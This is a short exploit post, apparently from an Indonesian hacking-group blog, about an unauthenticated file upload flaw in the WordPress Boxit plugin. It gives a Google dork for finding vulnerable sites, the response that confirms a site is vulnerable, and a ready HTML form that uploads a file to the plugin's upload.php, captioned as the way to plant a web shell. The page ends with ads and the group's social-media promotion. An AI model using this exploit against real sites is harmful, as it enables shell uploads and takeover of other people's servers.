Wordpress Boxit Plugins File Upload Vulnerability


#- Title: Wordpress Boxit Plugins File Upload Vulnerability
#- Author: unknown
#- Date: 26/12/15
#- Developer : boxit.sd-dev .com
#- Link Download : codecanyon .net/item/boxit-the-dropbox-file-upload-for-wordpress/4425955
#- Google Dork: inurl:"/plugins/boxit/"
#- Fixed in Version : -
#- Tested on : Windows 
==================================================
-- Proof Of Concept --

When Vuln:
{"jsonrpc" : "2.0", "result" : "ok"} 

CSRF :

<formaction="http://target/wp-content/plugins/boxit/upload.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="3xploi7ed !">
</form>

Shell PathHere

3xploi7 Team

1 Response to "Wordpress Boxit Plugins File Upload Vulnerability"

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel


Kunjungi Terus " 3xploi7 " untuk update menarik selanjutnya

Simak Update Artikel menarik disini, Stay toon !! 3xploi7.com
Jangan sampai Terlewatkan.
 • Join Grup Team : 
— Facebook Grup ( 1.973 Anggota )
 Line Square 


 • Update Konten Unik Lainnya di : 
 Instagram
— Twitter

 • Tonton video kami di : 

 Youtube